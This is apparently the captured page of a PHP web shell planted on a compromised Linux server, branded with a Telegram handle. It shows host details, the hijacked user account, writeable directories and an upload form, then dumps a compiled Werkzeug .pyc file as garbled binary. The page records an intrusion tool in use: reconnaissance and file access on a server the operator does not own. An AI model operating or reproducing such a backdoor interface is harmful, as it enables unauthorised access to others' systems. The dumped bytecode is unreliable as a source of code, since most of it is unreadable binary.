https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/werkzeug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/werkzeug/posixemulation.pyc
�
./�_c@s;dZddlZddlZddlZddlZddlZddlmZddlm	Z	e
Zejdkr(yddl
Z
dZdZe
jjjZd�Ze
jjjZe
jjjZe
jjjZe
jjjZeZd	�ZWn#e k
rd
�Zd�ZnXd�Z!nej!Z!eZdS(
sm
    werkzeug.posixemulation
    ~~~~~~~~~~~~~~~~~~~~~~~

    Provides a POSIX emulation for some features that are relevant to
    web applications.  The main purpose is to simplify support for
    systems such as Windows NT that are not 100% POSIX compatible.

    Currently this only implements a :func:`rename` function that
    follows POSIX semantics.  Eg: if the target file already exists it
    will be replaced without asking.

    This module was introduced in 0.6.1 and is not a public interface.
    It might become one in later versions of Werkzeug.

    :copyright: 2007 Pallets
    :license: BSD-3-Clause
i����Ni(t
to_unicode(tget_filesystem_encodingtnticCs�t|t��}t|t��}t||�r7tSd}t}xM|r�|dkr�t||ttB�}|sFtj	d�|d7}qFqFW|S(Niidg����MbP?i(
RRt_rename_atomictTruetFalset_MoveFileExt_MOVEFILE_REPLACE_EXISTINGt_MOVEFILE_WRITE_THROUGHttimetsleep(tsrctdsttretrytrv((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/posixemulation.pyt_rename's
cCs�tddddddd�}|dkr.tSzzd}t}xc|r�|dkr�t||ddttB|�}|r�t|�}Pq@tjd�|d7}q@W|SWdt	|�XdS(Nii�sWerkzeug renamei����idg����MbP?i(
t_CreateTransactiontNoneRt_MoveFileTransactedRRt_CommitTransactionR	R
t_CloseHandle(RRttaR
R((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/posixemulation.pyR>s*	
cCstS(N(R(RR((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/posixemulation.pyRZscCstS(N(R(RR((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/posixemulation.pyR]scCs�t||�rdSytj||�Wn�tk
r�}|jtjkrQ�nd|tjdtj	�f}tj||�tj||�ytj
|�Wq�tk
r�q�XnXdS(Ns%s-%08xi(RtostrenametOSErrorterrnotEEXISTtrandomtrandinttsystmaxsizetunlinkt	Exception(RRtetold((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/posixemulation.pyR`s
("t__doc__RRRRR	t_compatRt
filesystemRRtcan_rename_open_filetnametctypesRRtwindlltkernel32tMoveFileExWRRtktmw32tCreateTransactionRtCommitTransactionRtMoveFileTransactedWRtCloseHandleRRRR R(((s;/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/posixemulation.pyt<module>s6	

	
	

https://t.me/AnonymousX5 - 2025